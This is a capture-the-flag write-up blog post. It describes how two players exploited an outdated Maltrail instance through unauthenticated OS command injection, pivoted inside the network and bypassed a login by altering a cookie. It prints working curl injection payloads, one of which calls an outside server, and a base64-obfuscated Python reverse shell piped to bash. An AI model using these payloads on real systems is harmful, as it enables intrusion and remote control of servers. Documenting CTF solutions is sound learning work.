OWASP KTM 0x03 CTF writeup

Veshraj Ghimire
PenTester Nepal
Published in
6 min readApr 22, 2023

Hi there! I hope you're all having a good time. Don’t forget to stay hydrated ❤ Today’s writeup is about how we solved OWASP KTM’s 0x03 CTF. It was very interesting and informative. We would like to extend our appreciation to everyone involved in organizing this fantastic event.

The start:

The starting point was the same as before (URL was located at ID); if you haven’t read our blog from 0x02 CTF, you may find it here.

Visiting it redirected us to https://hacknopedia.com/ctf/ which had an interesting domain within the script tag:

Shoutout to https://hacknopedia.com/ for amazing cyber security contents. Genuine appreciation, not a paid promotion :)

Blunder #1

Not sure how this happened, but we accidentally typed that maltrail as mailtrail and started enumerating, which was actually not part of the challenge. Surprisingly, the subdomain was vulnerable to github subdomain takeover, but that was a dead end!

Foot Hold:

As soon as we knew it was maltrail, not mailtrail, we strated enemuration over there. It was pointing over 34.124.197.100.

By examining the subdomain name, we can gather valuable information. A quick online search reveals that maltrail refers to Python-based open-source software used for detecting malicious network traffic. This system typically runs on port 8338 by default:

And yes, the port is open, we tried to open it in the browser to see what’s up with that. We found that it was running an older version (v0.53) of Maltrail, which caught our attention since the latest version was v0.56.

A quick online search led us to this hunter.dev security report. According to the report, the version of Maltrail used in the challenge was vulnerable to unauthenticated OS command injection.

The exploit looks simple:


curl 'http://hostname:8338/login' \
--data 'username=;`id > /tmp/bbq`'

This curl command sends an HTTP POST request to the specified server and includes a payload that injects the id command into the request data. The server executes this command and stores the output in a file located at /tmp/bbq.

Rabbit Hole #1

Since we already had our OS command injection, we tried to confirm by sending a curl request to the server with the following command:

curl 'http://34.124.197.100:8338/login' \
--data 'username=;`curl 54.211.64.96:8080`'

which was expected to send a CURL request to our controlled server, which unfortunately didn’t. After some point, we came to the conclusion that the server had outbound traffic blocked. So we thought, We should figure out a path where we can write from the command injection and then read publicly. Finding this valid path was painful. We tried installing the vulnerable version of Maltrail on our local machine, then tried to figure out where we could write with our command injection and then read it publicly.

It worked on our local machine, but it was not working on the challenge’s host. At this point, we had no idea why—probably some file permission issues.

Initial Access:

After spending some more time investigating, we realized that we were making things more complicated than they needed to be. Upon further examination, we discovered that outbound traffic was not actually blocked. Since we know that the server is running Python code, we simply tried the Python reverse shell. Our attempt was successful, and we were able to establish a remote shell connection to the server without any issues:
Here’s our final payload:

curl 'http://34.124.197.100:8338/login' \
--data 'username=;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjU0LjIxMS42NC45NiIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIikn|base64 -d|bash`'

That feeling when you finally pop the shell and gain remote access to a server—it’s a moment that makes all those hours of frustration and staring at code worth it.

Noticing Mistakes:

We noticed that we had to suffer this much by making things complex just because there was no curl command on the server.

As installation was allowed, I installed CURL with apt, as we might need it for further exploitation.

Exfiltration

since there were no interesting files on the server. The enumeration began. We started by scanning the internal network:

So, once we got the other 4 hosts up, we decided to see if any interesting services were running over there:

We can see that 10.68.0.5 had port 80 open where http was running; this seems interesting. Sending a CURL request, we can see that there’s something called the CTF Monitoring Dashboard, where we have a simple login form that expects username and password as parameters.

We tried to send a CURL request with admin:admin as the username and password.

However, it gave an invalid response. But we can notice something interesting: it is setting the cookie is_localhost’s value to false.

Without second thought, we tried setting the cookie’s value from false to true, and indeed, it worked!!

The Reward:

As we were the first team to solve the CTF, Srijan Adk and I were awarded a three month subscription to PentesterLab and HacktheBox. Additionally, we received a cool letter of recognition for our achievement. It was a great feeling to be recognized for our hard work, and it serves as motivation to continue to improve our skills. Participating in the CTF was an amazing learning experience, and we are grateful for the opportunity.

Final Notes:

Participating in the CTF was a truly enjoyable experience, and we learned a lot. In addition to the organizers (Niraj, Smaran, Sahil and Kailash dai) I would like to express my gratitude to everyone who provided assistance, whether directly or indirectly, throughout the event, including Sanotsh, Samip dai and many more ..

That’s all for this time; thanks for making it till the end. See you next time! You may find us on Twitter if you wish to connect:
Veshraj Ghimire
Srijan Adhikari

--

--